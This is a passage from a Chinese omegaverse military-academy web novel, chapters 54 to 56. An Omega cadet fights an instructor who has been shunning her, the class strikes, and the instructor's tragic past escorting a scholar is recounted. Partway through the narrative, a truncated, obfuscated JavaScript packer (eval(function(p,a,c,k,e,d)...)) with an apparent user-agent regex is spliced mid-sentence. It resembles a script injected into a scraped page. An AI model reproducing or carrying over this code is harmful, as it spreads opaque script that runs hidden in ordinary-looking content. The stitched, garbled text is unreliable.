——她听懂了济慈准尉的话,也彻底听懂了为何这人明明心存厌恨,却依旧要留下来当教官,尽心尽力去教导这些他发自内心忌惮、厌恶着的学生们。 因为他想让这些未来的军官们听到士兵的声音,让他们知道他们花团锦簇的大道正铺在这样一群人的尸骨之上。 他想让他们未来对自己手下的士兵们,多一份珍惜和怜悯。 但这个高尚的、自制的、充满奉献牺牲精神的、圣徒一般的笨拙莽夫,这样一个可敬的人,却没有把她当人——他把她当成了可厌的,令人堕落迷乱的、需要被排除的异物。她是被他敌视的“弄物”。 她该怎样在这样一个人面前,在这样泣血的请求之下,去陈述自己所遭遇的小小不公? 黎晓上前一步,用尽自己所有的克制,直视着济慈准尉。 “我也考进军校,”她说,“请您不要搞错了。我不是什么会让人三心二意的东西,未来我也会成为军官,统帅士兵。成为让你恐惧、忌惮的那个‘不公平’。到那时——” 济慈准尉的眼瞳如野兽一般收缩了,他终于回过头来看向黎晓,凶猛的杀意在一瞬间扑杀过去。 说不上是谁先动手——总之在所有人回过神来时,济慈准尉的拳头已袭向了黎晓,而黎晓轻巧地侧身避让,顺手擒住了济慈准尉的手臂。 比拼肌肉显然不是她的胜场,以济慈准尉的块头和力气只消挥臂一扫就可将她整个人都挥飞,所有人都在一瞬间替黎晓紧张起来。然而黎晓巧妙地借力翻身,擒着济慈准尉的胳膊绕膝绞住他的脖颈。在所有人都还没看明白她究竟是怎么发力时,已翻身落地,将济慈准尉整个人抡起一个大周,甩在了地上。 尽管凭借娴熟的战斗本能,济慈准尉及时调整导力卸去了冲劲。落地后立刻翻身调整,摆好了戒备姿势——但他依旧被摔懵了。 他半跪在地,做好了再战的准备。 旁观的学生们也都做好了随时挺身介入的准备。 黎晓却已然收手。 她不再掩饰自己内心的愤怒,清晰地告诉济慈准尉:“我会珍惜所有战友的性命,尽全力让他们每一个人都活下来——这些根本就不用你来警告,从选择考军校的那一刻我就已经做出了决定,把它当成我必须牢记的使命。”她说,“我不是什么东西——我是您的学生,未来将是您的战友兼长官。如果你接受不了——那就滚回你那个撒泼打滚就能如愿的小屋。” 她轻轻地呼了一口气,立正,向济慈准尉敬礼:“如果您没有别的解释了,我申请早退。——我会向军训监察部投诉您今天的言行。您可以慢慢思考说辞,随时继续指控我,或者向我道歉。” 她头也不回地转身离去。 待她身影消失之后,陆清源也上前一步,向济慈准尉敬礼。 “……在您为今天的言行道歉之前,我拒绝继续上您的课。” 所有的学生都默然片刻,同时向济慈准尉行礼,追随着陆清源离开了。 就只有安杰洛犹豫着没有动——这整个训练场上,唯有他真正共情了济慈准尉。 因为只有他才真正明白,三岁被塞进烟囱里扫壁灰的孩子,究竟面临着怎样的人生。当那孩子挣扎着活过了十三岁,活到三十岁、四十岁……活到可以平安退役的年纪,却再次遇到愚蠢的上位者,被塞回到忘记熄火的壁炉烟囱里,他内心会对这个世界怀有怎样的憎恨与绝望。 ——济慈准尉确实是他毕生难以企及的圣徒。 却是个蒙昧又自相矛盾的圣徒。 他宁死不会选择成为这样的人,却也无法不为这样的人而动容。 济慈准尉见他没有走,眼中再次亮起些希望。 但安杰洛也只停顿了片刻,便捡起倒地的保温杯,递还给济慈准尉。 “准尉阁下,”他犹豫着,提醒道,“……在这个训练场上,只有您一个人是军官。” ——而您想要处决一个没有倒在战场上的士兵。 他怀着最后的悲悯咽下了后半句话,迅速向着济慈准尉敬了个礼,追着陆清源他们去了。 55. 木与花之诗(十) 十四 徐驰咬断了嘴里用来代替戒烟糖的薄荷糖棍儿,抬起疲惫无神的黑眼睛,看向对面的女孩儿。 女孩儿和初见时一样,端坐在他的对面,脊背和脖颈如白杨般挺拔,仿佛弯不下去一丁点儿。证件照上,这女孩儿曾留着齐肩的半长发,但显然在进入大树海之前就修剪成了的短发。或许不该称之为修剪,那发型边缘整齐利落,更像是用刀裁成。也不知是为了方便打理,还是为了抹除偏柔美的性别特征。 但就算是一头利落的短发,这女孩也一目了然是秀美的。无非略添了些聊胜于无的清冷气质。 Omega真是个神奇的性别,徐驰三心二意地想着。 明明早知道这是陈队教出来的高徒,是能凭借C级的回路和D级的导力在军事能力测验里拿到综合评价全省第四的究极狠人,可每次见到她时,也还是会下意识地觉得这女孩儿很弱,会给他这个当师兄的添很多麻烦。 当这女孩一脸阴郁克制地走进医务室时,徐驰也确实觉得——完了,这次逃不过了。 但这女孩儿居然什么都没说,只要求他帮忙开一支额外的抑制剂。 徐驰一边等着仪器检测结果,一边克制住想说一句——要是实在受不了,也可以开口求助。军队本来就是不是单打独斗的地方,适当依靠一下战友也可以——的冲动。 反正只要再熬七天,他就可以麻溜地滚蛋回去休假了。人生在世谁不辛苦呀,能不替别人奔波,还是尽量别替别人奔波。 但当看到信息素检测仪中压力指标那个鲜红的双上指箭头,徐驰还是不由自主地沉默了。 “……压力会导致生理期紊乱,这你知道吧。”他提醒。 “嗯。”女孩儿淡漠地应了一声。 徐驰感到有些麻烦了。 “我可以给你开一针调节剂,但压力不释放出来,调节剂也没用。” “嗯。” 徐驰轻轻呼了口气。 “你知道要解压……” 黎晓毫不犹豫打断了他的话。 “我知道,我会处理。”她盯着医生的眼睛,用绝不会被误读的目光提醒他,如果他再敢说出“找个alpha亲一下”这种屁话,她绝对会出手揍他,发疯乱砸,不管后果如何——她的克制在济慈准尉身上已经用光了。 医生被她瞪得愣了一下,似乎想起些什么,有些烦恼地挠了挠脑袋,认真地看向她:“光说没用,你得证明你能处理——你的激素指标已经超出预警了。如果判断你无法合理处置自己的情绪压力,作为医务官,为了防范意外事故,我就必须得出手干涉了。” 黎晓忍不住流露出了嘲讽的神色:“怎么干涉?” “开具不适合参与集体军事行动的医学证明,遣送你离开树海。”医生认真地看着她,“——你也不必担心后果,医学判断不适合者不会被当逃兵处理,离开树海后,你可以正常转学进其他高校……” 见黎晓又要反驳,医生抬起手来,示意她继续听下去:“我知道你很难接受,也能大致猜到发生了什么事——但军队就是这么特殊的地方,适应者留,不适应者走。毕竟真上了战场,被歧视排挤、指挥不了自己的部队,只是无能的表现,不构成战败脱罪的理由。” 医生本以为黎晓会气恼地反驳争论——毕竟这规矩确实很不讲道理。这女孩儿一路作为精英在嘉洛林这种平等公正的世外桃源长大,也从没遭受过战争的毒打,自然会有些脾气。明明没做错事却得承受全部后果,怎么可能忍得住反问“凭什么”? 谁知这女孩只是闭上眼睛,深吸了一口气。再睁眼时,目光已然冷静下来。 她平静地问道:“——只要证明我能处置自己的情绪,让激素指标回落就行了,对吗?” 医生张着嘴,好一会儿没闭上:“……是的。” 看来医学证明是不用开了,医生心想——这女孩何止是个究极狠人,单凭这份情绪控制能力、这份面对退路却眼都不眨的牢固杀心,她简直狠得令人敬畏。 黎晓站起身来,目光扫过四周。起身走向了悬挂在房间角落里的银色沙袋。 她停步在沙袋前,撸了撸袖子,深吸一口气。 她没有投诉济慈准尉——她不能刚刚说完自己会成为一个军官,回头就去投诉一个站在士兵的立场上选择排挤她的老兵。一个连跟士兵的关系都处理不了的军官,有什么资格说自己配当一个军官?她得彻底击败济慈准尉。纵使不能扭转他的偏见,也必须得迫使他当众承认错在他自己,才能真正解决这件事。 否则就算去投诉,也大概率在校部班主任那边就被拦住,根本到不了驻军团部。 她说会去投诉,只是一种表态和牵制——她只是个军训学员,除非在投诉调解的场合,否则不可能得到和济慈准尉公平对话的机会。她得迫使济慈准尉主动行动起来,给自己赢取更多应对机会。 徐驰说的那些,她全都懂——她也不是什么觉悟都没做,就怀抱着一腔空想跑到了大树海。 所以她才会先来到医务室,调节自己已经明显有些紊乱了的生理期。而不是直接行动。 谁知道,就连这一步,都会成为她的阻碍。 ——什么“不适合参与集体军事行动的医学证明啊”!要是真的签了,不就证明济慈准尉施加给她的所有偏见,都是先见之明吗?! 用偏见把正常人霸凌出情绪危机,再用情绪危机证明别人不是正常人、不适合进入这个领域,还要开具成医学证明—— ……搞闭环搞得很爽对吧?! 真是让人火大啊! 黎晓攥起拳头,跨步、蓄力,将那沙袋当成济慈准尉和医生的脸,裹挟着全部怒气,怒吼着,全力打了上去。 医生还没来得及提醒“带上护具”,那只怒气冲冲的拳头已经打穿了沙袋外的帆布,深深地陷进了流金属海绵的内部。片刻之后,巨大的冲力从沙袋的另一面爆开,在空气中形成了一道肉眼可见的气团。 “砰”地一声爆响传来,沙袋被迟滞的力气打飞到墙上,稳定架被带得叮咚乱响…… 好一会儿之后,稳定架和沙袋的晃动才平缓下来,沙袋内置的流沙窸窸窣窣地缓缓归位。 医务室里再度恢复安静。 黎晓扶停沙袋,轻微地喘息。 右手手指略有些红肿——她及时用导力裹住了拳头,虽然难免有些疼,但好在没有受伤。 果然像成铭说的一样——打完之后,心里就舒服多了。 她调息收势,双手下压,长长地呼了口气。 确定心情确实平复了,便回头看向医生。 “需要重新检测我的激素指标吗?” 医生张了张嘴,看了眼那只露出了流金属海绵的沙袋,又看了眼那个面色平淡到有些诡异的女孩。 暗自感慨——真不愧是陈队教出来的学生,真不愧是传说中的叛逆的女将军统领的边民后代啊! “……济慈准尉对吧?”他最后确认了一遍,按下了呼叫器的按钮。在等待接通的间隙,他示意黎晓,“安全起见,还是再测测吧。”见黎晓有些愣,忙立刻又补充,“——你可以拿这个数据,证明错不在你。” 黎晓还没反应过来,就听呼叫器对面传来接通声:“这里是转接室……” “我是医疗组的徐驰少校,”医生说,“帮我转接军训教官组,请济慈准尉来一趟团部医疗室,我有事找他。” 对面的声音有些为难:“团部办公室刚刚也呼叫了济慈准尉,济慈准尉应该已经在前往团部的路上了。” 医生一愣:“团部办公室找他干嘛?” “这边只是转接室,具体原因还是请您直接询问团办和济慈准尉本人吧。” “……哦。” 医生按掉呼叫器,有些困惑地看向黎晓:“你找人投诉他了?” 。 黎晓当然没去投诉。 但当教官和一个学生之间的矛盾,演变成全班罢课之后,事情的性质就彻底转变了。 二军大的随训班主任李友德少尉在第一时间召集了全班学生了解原委,而后迅速联络了驻军团部,要求团部给个说法。 团部很头痛。 军训学生全班罢课这种事,在铁马河镇是有史以来第一次。但在七镇军训史上,却时有发生。 倒不是因为学生太娇贵了,受不了过于严苛的训练,动辄就集体抗命——实际上军训学生好用得很。士兵压榨狠了会投敌、会哗变,军训学生只要恫吓一句“这点苦都吃不了还想及格?”“你根本就不具备军人的基本素养”,就能立刻完成自我规训,什么苦都直接吞下去。 也恰是因为学生太好用了,七镇又常年骄兵悍匪人手紧缺,才会逮着学生就往死里用。而为了保障训练效果,军校生军训是容许伤亡的。 ——当然,所谓的“容许”也有极其严苛的条件。但总会有些胆大包天的蠢货拿着鸡毛当令箭,不但往死里压榨学生,还要出言威胁学生,最终由学生伤亡引爆矛盾,从罢课一步步演化升级到军训学生和驻军军团对峙乃至火并,闹出过不止一次危机。 近十几年来,七镇军团整顿纪律,重申军规,内部也进行了大换血。各驻地也增派了人手,不再逮住学生就往死里用,类似的事情才渐渐绝迹。 听到又出了全班罢训的事,团部敏感的神经立刻就紧绷起来。 ——就算没有前车之鉴,军队里发生集体抗命事件,也不是什么好预兆。 驻军团长头发都快薅秃了——树海班列复通迟迟不见下文,团部这边还好,镇子那边却已经流言四起、人心浮动。各处商铺都在囤货等着发财,盗匪们自然更不会闲着。短短七天时间里,镇警察局向军团发了不下五次支援请求。 在这个档口,学生闹罢训? 听完汇报,军团长几乎当即就暴起,摔了帽子哆哆嗦嗦地伸手指着骂:“哪个蠢货带的班,把他给我叫过来!老子今天就要敲开他的狗脑子看看,里头装的是哪坨屎!” ……这可是给二军大的学生当教官。这一届还有三个血统继承人,几乎是必然会飞黄腾达的一届。通天梯都递到眼前了,不顺着梯子往上爬,反而一脚给踹翻掉了?!自己啥时候这么眼瞎,把这种好事分给了这种天生穷命的蠢货。 传令官说:“是济慈准尉带的班。” 军团长迅速拾起被自己摔掉的帽子,拍了拍灰,心平气和地重新戴回头上。开口前先确认了一遍:“没伤亡对吧?” “没有,就是拒绝指导一个女学生,引起学生不满。” 军团长放心了,“这群学生就是娇贵,这点破事也要闹罢训。让贝丹东跟济慈谈个话吧——济慈这人没别的毛病,就是那张臭嘴可恶,也该吃点教训了。至于学生那边——你给我接通李友德少尉,我亲自跟他沟通一下。” 。 李友德少尉挂断通讯器,从联络室里走出来,疲倦地揉了揉眉心。 联络室对面就是会见室,透过走廊对面透明的玻璃窗子,一眼就可看到正在会见室里等消息的学生们。 军训一个班二十个人,除了提前请假早退的黎晓,所有人都在里面。以陆清远为中心,其余学生或是跟他讨论着什么,或是站在两侧听。学生们精神上倒没很亢奋,态度或多或少都有些凝重,话也不是很多。想来应该很明白自己在做什么。 ——这个班级会以陆清源为中心行动,这没什么异常的。 李友德少尉不能理解的是,他们会为黎晓的遭遇而展开集体行动。 黎晓同学确实是一个能令所有教师——好吧,除了济慈准尉之外——都满意的好学生,但就李友德少尉这些天以来的观察,她并没有陆清源那种令人不由自主聚集到自己周围的魅力。反倒多多少少有些不合群的气质,她似乎更习惯于靠自己去解决问题。 固然,班上的学生似乎都很敬佩她——但为了替她主持公道而不顾前途集体罢课?怎么想都有些过度友爱了。 少尉倾向于一个更麻烦、但也更合情理的猜测。 ——是陆清源想帮助黎晓,而其余的学生只是追随陆清源做出行动。至于陆清远为什么要帮助黎晓…… 李友德少尉烦恼地叹了口气。 他不确定陆清源是否明白这种破绽意味着什么。 ——它能从根本上摧毁学生们反抗的正当性,将整件事变成一桩彻头彻尾的丑闻。而驻军团部明显很想保住济慈准尉,一旦动了歪心思,完全可以从这种可能性去上做文章。 作为随训班主任,李友德少尉是完全站在学生这一边的——这不是不由分说地护犊子,在树海这种自成体系的封闭环境里,既是外来者、又处于被考核审查地位的学生,不受欺压就已经很不错了,几乎不存在学生主动搞事的可能。有一个不问是非直接站在学生这边的学校代表,对学生和军镇两边都是一种担保和缓冲。 但这一次,李友德少尉觉得,自己可能必须得做一些多余的事了。 他走进会见室时,所有学生同时停下手中动作看向了他。 学生们都知道,他刚刚接听了驻军团长的电话。此刻大概都对他的立场抱持着一定程度的警惕吧。 李友德少尉能理解——虽然是他们的班主任,但毕竟才相处了十天,还是济慈准尉的同行,在这种情况下确实很难让人相信他共情的是学生而不是教官。 “团部希望大家能和济慈准尉见面沟通。”李友德少尉简明扼要地扭曲了团长通话的中心思想。 是的,扭曲。 ——团长的真实意思是,济慈准尉没做出任何职责之外的过分举动,所谓的“忽视”只是一种主观感受。济慈准尉只是作为一名年长男性,一名alpha,自律地避嫌,笨拙地不擅长沟通。这种一面之词、这种自律和笨拙,不能构成罪名。学生们如果不能拿出更可靠的证据,证明济慈准尉严重违背纪律,团部将不再对学生集体罢训这种严重违纪的行为置之不理。 因此团部要求学生们立刻回去上课,当然相应地,济慈准尉也会进行一定程度的反思和改正。 如果学生们拒绝,团部会直接通报七镇,并强制要求他们退出军训,立刻将他们遣送离开驻地。 个中利害李友德少尉已经替学生们分析过了。学生们的态度也很明确,他们可以回到训练场上,但如果济慈准尉不道歉,那么他们就会用济慈准尉对待黎晓同学的方式,对待济慈准尉。 这种明显毫无沟通意向的、最后通牒式的互飙狠话,李友德少尉暂时不打算替双方传达。 学生们简单沟通过后,依旧由陆清源出面表态:“可以。” 李友德少尉稍稍松了一口气。 “去见济慈准尉之前,有件事必须得让大家提前了解一下。如果不明白这个前提,大家可能很难跟济慈准尉沟通,”李友德少尉示意众人各自坐回去,说道,“所以希望大家都能耐下性子听我说完——关于济慈准尉是怎么因伤退役的。” 学生们相互对视一眼——他们其实并不怎么关心济慈准尉的因伤退役。济慈准尉迄今为止的表现,并未能引起学生对他遭遇的好奇和人格的共情。 但他们愿意听一听班主任的话。 作为一个第一次随训的新人班主任,在出发前,李友德少尉曾向前辈认真咨询过经验。 得知他要去的是铁马镇,群里所有人都冒泡排队给他发了同情表情包,办公室里的同事也排着队来拍他的肩膀。 “铁马河镇啊……”前辈一脸讳莫如深,“那边的教官跟学院派不是很合得来,尤其是你这种毕业直接留校,一天也没下过连队的。你可一定得调整好心态。”过了一会儿忽然又想起什么一般,切切叮咛,“对了,千万、千万要给学生做好选课指导。可别让女学生,特别是特殊性别的女学生选济慈准尉的课啊。济慈准尉这个人吧……啧。” 心细如发的李友德少尉意识到背后有隐情,果断发挥他军事情报学满分的素质,给济慈准尉做了一次详细的背调。 但显然不是所有班主任都像他一样心细,导力系那边明显没给学生做好选课指导——选济慈班的三个里有两个都是特殊性别。 拿到军训名单的那刻,李友德少尉就意识到自己这次随训定然不会太平。 谁知短短十天就出事了。 ——李友德少尉也只能庆幸自己是个合格的军校毕业生,没在战前情报搜集上偷懒。 “一八一年冬,铁马河镇向军部上报了几起魔兽袭击事件。事件发生地点集中在铁马河镇到十三号树王据点之间,袭击的规模很小,也没造成什么伤亡,在当时并没有引起军部的重视。”李友德少尉这么开场。 “……但这份情报引起了一位学者的注意,她发现所有袭击似乎都是针对树王庇护所发起的。向铁马河镇确认过后,为了查明这种异常的起因,这位学者申请外勤,来到铁马河镇做实地调查。铁马河镇接到军部命令,为这位学者配置了专门的护卫团,协助她外出调查。 “这位学者姓林,是一位二十七岁的年轻唐人女性,来自嘉洛林省,当时正在亚丁的军事科学院借调交流。” 随着少尉的讲述,所有学生脑海中都不由自主跳出了黎晓的白描——来自嘉洛林省,学者般的气质,认真又美丽的唐人女子。 他们已隐约意识到李友德少尉为何要给他们讲这个故事,心底抗拒继续听下去,却已经不由自主地对这位女士的命运产生了关切。因此没有打断他。 “护卫队共二十人,而济慈准尉是护卫队的副队长。 “当时的济慈准尉,和你们当下看到的截然不同——至少在档案记录和当事人的讲述中是这样的。 “那年他三十八岁,从十四岁那年进入大树海后,已经在铁马镇驻军军团生活了二十四年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“济慈准尉认为应当严格遵守团部的命令,不能带林博士出城,但护卫队长拒绝不了林博士的请求,其余的队员也偏向队长和林博士。济慈准尉没有坚持自己的意见,黎明时,护卫队二十名成员,护送着林博士离开了铁马河镇。 “过程还算顺利,一行人成功抵达十三号树王据点,林博士也进入据点开始调查——随后,意外发生了。 “十三号内部忽然滋生出大量血雾藤,外围也出现了大量魔兽。突围过程中,林博士和两名护卫队员被分割围困在树王核心。通讯被切断前,两名护卫队员已经牺牲,但林博士生死不明。按常理推断,林博士应当同时死于袭击。 “魔兽越聚越多,济慈准尉判断树王核心已被魔兽攻占,即将退行回兽巢模式,应当立刻撤退。但护卫队长坚持要杀回去救出林博士…… “济慈准尉再次没能坚持自己的判断。他要求队长在外守住联络,继续向军部呼叫援助。由自己带人杀回核心,去救林博士。 “杀入重围后,他发现自己的判断没错。树王核心已经被血雾藤重重缠绕,通往核心的走廊上血雾藤也已合围,藤树上密密麻麻结满了魔兽卵,随时都会孵化,继续待下去,势必全军覆没。 “但由于前番争论过程中爆发了激烈的冲突,济慈准尉判断自己必须进入核心,带回林博士的人或者尸体,否则救援不会停止。所以他要求队员杀回去,将情况当面反馈给队长,自己则在内围尝试进入核心,做最后的努力。 “过程中,团部派出的百人增援也终于抵达。 “如果在此刻选择撤退,这些人都能活下来。 “但是,尽管返回的队员向队长讲明了情况,护卫队伤亡也已过半,队长还是固执己见地拒绝撤退。他隐瞒情报,以身份利诱、胁迫增援部队也加入了行动。 “——在他看来,其余所有人的性命加起来,都不如他深爱着的林博士重要。 “一行一百二十人,在十三号据点内被围困了两天一夜。第二天傍晚,皇家骑士团的增援赶到时,共计死亡七十二人。其中有二十七人因被血雾藤捕获,尸骨无存。” 李友德少尉说,“济慈准尉是二十人护卫队中,除队长外唯一的幸存者。” 学生们久久沉默。 不知过了多久,才终于有人问:“济慈准尉是怎么幸存下来的?” 这问题固然刻薄、乃至于恶毒,但这种程度的指挥失误势必得上军事法庭,济慈准尉肯定也被类似问题反复质询过。 李友德少尉并没有隐瞒:“树王核心退化成兽巢的过程,中途逆转了。靠近核心的血雾藤最先停止攻击,并被缓慢净化。突入核心越深,幸存下来的比例越高。” 片刻后,又有人迟疑地询问:“那,林博士呢?” “她,性别特殊,体质很弱。自愈能力比较差,没能支撑到核心逆转。” 学生们再次陷入沉默。 又过了许久,才又有人问道:“既然发生过这种事,济慈准尉为什么不告诉我们?” 他们固然讨厌这个教官,不能接受他公然的偏见和霸凌,但如果早知道他经历过这样的悲剧,多少也是能理解他一点的。 ……固然这个站在第三视角的立场上讲述的事故,跟他们年少时经常听到的罗曼邂逅,极度令人不适地居然有着极其相似的故事内核。固然他们中大多数人身为少年alpha,多多少少都有些骑士情怀,但最基本的道德和理性判断他们还是能做出的,不至于听不懂故事里的教训。 李友德少尉没有直接回答。 他只说:“济慈准尉是个孤儿,十四岁时加入树海开拓团,之后就再也没离开过。树海开拓团就是他的家。那次事故里牺牲的士兵,很多都是他带出来的。我想,他只是不想提吧。” 他看了一眼陆清源,却见那少年只是静静地站在那里看着他,幽紫色的瞳子仿佛能剖开冠冕堂皇的言辞,直抵不可言说的真心。李友德少尉知道自己越界了。尽管他很确定这种越界并非出自私心,但对上那少年的目光,还是有一瞬间莫名感到心虚。 “我不是要求你们谅解济慈准尉,”李友德少尉轻舒一口气,再次看向众人,“我只是希望,跟济慈准尉再次沟通之前,你们能稍微了解一下他过往的遭遇。” 这时陆清源轻轻地开口了:“驻军军团里,应该有很多人能证明你说的这些话吧?” “是,”李友德少尉定了定心神,说道,“五年里军官和士兵虽然轮换了大半,但团部应该还有不少人经历过当年的事。如果你们对济慈准尉的经历好奇,可以去团部和装备组问问。另外,当年受命进入树海救援的骑士团里,有个名叫徐驰的中尉,不知道跟医疗组的徐驰少校是不是同一个人,你们也可以去问一问。” 。 徐驰少校在检测结果上签好自己的大名,捏了捏自己的鼻根,缓解了一下眼睛的疲劳。 见黎晓一脸不解和不信任地看着自己,只好无奈地给她倒了一杯热可可。 “我只是想帮你解决一下压力根源。完全出于医生的职业道德,没有坏心。” 黎晓没问他是怎么知道她的压力根源来自济慈准尉的,只随口问道:“您认识济慈准尉?” “见过,不熟。”徐驰毫不犹豫地回答——交情上确实不熟,但履历上熟得底朝天。没办法,五年前他作为骑士团特勤小组的新人,接到的第一个任务就是前往树海十三号据点解救被围困的科学家。 任务失败了,被救出时科学家已经死去。但和目标只有一门之隔的树海老兵还活着——虽然被血雾藤融掉了半张脸。 服役十年间,徐驰见过众多战场喋血,却从没有哪一次的现场,比当年那次更具视觉冲击力。作为一个心还不够冷、不够硬的特勤新人,那时他本能地关注了一下那个身处事件最核心的悲惨的幸存者。 以至于再次看到那张脸,他第一时间就认了出来。 但他完全不打算把这些告诉黎晓。 ——没必要。 人活一世,光是背负自己人生的重量,就已经举步维艰了。遇到拦在自己前进道路上的人,打倒他,碾过去就好了。没必要在打倒前特地听一听他的悲惨遭遇,给自己加一重心理负担。 那太累,也太伪善了。 “我估计团部找济慈,也是为了今天的事。”徐驰说,“我有把握为你争取到对话机会,但你想好怎么解决这件事了吗?” 黎晓没做声,这件事本来也没法解决——学生跟教官之间,原本也没什么谈判的余地。就算她指着济慈准尉的鼻子慷慨激昂地讲一通道理,也不过是让自己心里舒服一点。济慈准尉能听多少,也还未必。 ——她和济慈准尉的人生阅历天差地别,内心关切更是阴阳两隔。 她奉行认可的准则,在济慈准尉那里也许只是一场笑话。就像济慈准尉声泪俱下的陈述,也完全无法说服她接受自己在济慈准尉眼里只是乱人心智的祸害。 “不如,”徐驰少尉提点她,“你去装备组转转?那边都是济慈准尉的熟人,说不定能问出他的弱点。” 56. 木与花之诗(十一) 十五 贝丹东少校回头看了一眼济慈,原本铁塔一般男人此刻灰败地垂着头坐在椅子上,手肘撑着膝盖,双手交握,整个人灰蒙蒙的,看上去像个不起眼的土包。比五年前贝丹东把他从堆满垃圾的宿舍里挖出来时好些,但五年前他是从地狱里挣扎出来,五年后却是被地狱的影子一晃击溃。哪个更差劲不言自明。 关于这个男人很没出息这件事,早在十四年前这个男人把进军校的推荐名额让给自己时,贝丹东就已经很深刻的领会到了。这是没法改变的本性,贝丹东也没觉得自己能帮他改,只能沉默地往他的菊苣咖啡里多加几块方糖。 把热咖啡直接塞进济慈准尉交握的双手里,贝丹东少尉直接坐到他的对面,也不管他究竟是否缓过来了,直接开口问道:“就有这么像吗?” 济慈准尉的手果然轻颤了一下。 他嘴唇抖了抖,想说点什么,却半晌没有发出声音。 不像。 流落进大树海里讨生活的士兵,大都是被社会抛弃的底层残渣。能读完高中的——甚或说是凭自己的意志选择来树海参军,而不是直接被人贩子绑架、拐卖给征兵中介,直接被父母卖给征兵团的——都属凤毛麟角。怎么可能和那些从正常社会竞争中脱颖而出,千军万马考进军校的精英们像呢? 但在某些时刻,又确实像极了。 小约拿也是那种没心没肺的性子,偏偏天赋是那一届大兵里最好的。济慈替他央求了装备组的苏瓦少尉教他识字,他能把苏瓦少尉气得拿压缩饼干扔他。但第二天就能像小狗一样蹲在苏瓦少尉身旁,把她教过的东西一字不差地背出来。艾伦是个虚荣又一本正经的聪明年轻人,爱投机取巧又爱表现的结果就是总出丑闹笑话,但济慈知道他一直都在等一个能让所有人刮目相看的机会,一直都在为此偷偷努力。亚伯最让人放心不下,这个阴暗的小东西是那一届最拼命的、偏偏也是资质最差劲的,他根本就不相信任何人,但这再正常不过了,萨克森的贫民窟一直都是能把人变成鬼的地方…… 当这样一个班级出现在他的面前,当班上的气氛从压抑渐渐变得活泼,学生们的目光从仇视逐渐变得不那么抗拒。当他们不再把他当一个需要戒备的、可恨的敌人,开始用一种很不慎重的方式试探他……济慈忽然就感到了恍惚。 但他依旧不会错认。 因为这个班里有陆清源。 ——看到陆清源的第一眼时,济慈准尉就本能地感到了恐惧和憎恨。第一节课上,他花费了很大的力气才克制住手抖,克制住自己不把厌恶的目光投注到这个青年身上。 好在尽管那种专属于顶级alpha的气息、那种令周围的人不由自主环绕在他身边的超凡魅力似曾相识,但两个人从外貌到性格都截然不同。缪勒中尉金发碧眼,军服里穿的永远都是黑色短袖紧身上衣,以免在需要脱掉外套时浪费不着痕迹地炫耀那身漂亮肌肉的契机。是个前一刻还一表人才、回头就能搂着士兵的脖子说荤话,跟任何人都能在两分钟之内熟起来的张扬外向的年轻人。 相较之下陆清源黑发紫瞳,性格沉稳内敛。比起炫耀自己,更倾向于照顾别人的感受。 他过于理想,也过于可靠了。 以至于短短几天之后,济慈准尉就已经需要提醒自己——这些人的内核都是一样的,不论平时表现得如何亲切友善,在任何时刻作出送士兵去死的决定,都不会比撕掉一张废纸更难。就算当初他们遇到的是陆清源这种队长,结局也根本就不会改变。 但时隔五年之后,他再次开始做噩梦了。 军队是一个过于残酷的地方。陆清源和缪勒这样的人几乎注定会成为团队的统帅和核心,踏着士兵的尸骨成就功业。但士兵们也唯有追随他们,才有可能在树海这种随时喋血搏命、遭遇远比自己强大的魔兽袭击的环境里幸存下来,并借此改变命运。 在树海里,无能是远比冷血更可恨的罪行。 不论他再如何厌恶、忌惮缪勒和陆清源这样的人,都改变不了士兵们渴望这样一个人去统帅他们的心,改变不了士兵们终将在他们的命令下奔赴死地的结局。 哪怕这种赴死,很可能从根本上就毫无意义。仅仅是出于决策的失误,出于他轻佻地想向一个女人炫耀羽毛的私心。 是的,在最初的时候他根本就没有把那个omega放在心上。真正触动他戒心和厌恶的是陆清源。 毕竟那女孩只是个omega,一个明显没意识到自己是个omega的omega。她没把自己的性别当武器,反而想要把自己的肌肉锻炼成武器——谁都知道这是徒劳。没天赋还过分努力的人,没人知道该怎么教。 何况济慈也根本就不擅长跟这种性别的学生打交道。 干脆就无视她。 ——横竖就只是个弱小的、过于认真的后勤组女孩儿,大差不差地完成训练,考核时稍微松松手就可以了。军训重点针对的,本来就是战术组。 但这个omega的存在感越来越强,所有学生的目光都开始不由自主地寻找她、关注她。渐渐的,这女孩儿的一举一动开始影响整个班级的士气。 济慈准尉也终于开始意识到,明明一切都在向好,明明不论其余学生的性情还是陆清源的人格,都仿佛在告诉他记忆中的炼狱未必只有命定轮回的结局,为什么他却越来越感到焦躁,越来越被噩梦袭扰。 直到加布里埃尔站出来,开始替这个女孩儿鸣不平,全班所有人都站在那女孩儿身后,抬头看向了他。记忆中的亡灵,终于在那一刻同这个站在他对面的班级重叠了。 济慈听到了轮回的齿轮,开始转动的声音。 那个几乎已经被遗忘在记忆中的女人,就那么踏着时光的长河,再次清晰地走到了他的面前。 那女人是个学者。年轻、文静、美丽,顶尖大学毕业的博士,出身嘉洛林省,有着与贵族截然不同的高贵又平易的气质。像是一束明媚的阳光,跟这个充斥着铁锈味和汗臭味的驻军基地格格不入,却照亮了所有士兵的心。 但她本人没这个自觉。她很爱笑,差遣别人就像喝水一样自然。打水、搬文件这种小事都会随口让士兵帮忙——当然,士兵们也根本就是争着抢着替她去做。谁抢到了,就能快乐一整天。 她会收所有人送的花,会直接拒绝自己不爱吃的食物。会在补给日请护卫队所有人吃大餐,会认真回应每一个只是为了跟她搭话而绞尽脑汁想出来的问题,包括离谱到让她忍不住哈哈大笑的问题。当然一切的前提是,她的工作室门前没有挂“工作中,免打扰”的牌子。她会直言不讳的说,跟他们聊天能放松脑子,就当消遣了。 在这个充满了野蛮异性的陌生环境里,她松懈得让人怀疑她究竟有没有常识。 所有人都喜欢她,甚至迷恋她。 年轻人可能会被她阳光普照的性格迷惑,丧失自知之明。但济慈准尉不会。他不得不找机会提醒小约拿他们,这姑娘如果参军,起步军衔是少校以上。小约拿哈哈笑着说自己没有痴心妄想,不用担心。但熄灯就寝前那孩子低声咕哝着说,他愿意为这位女士去死。 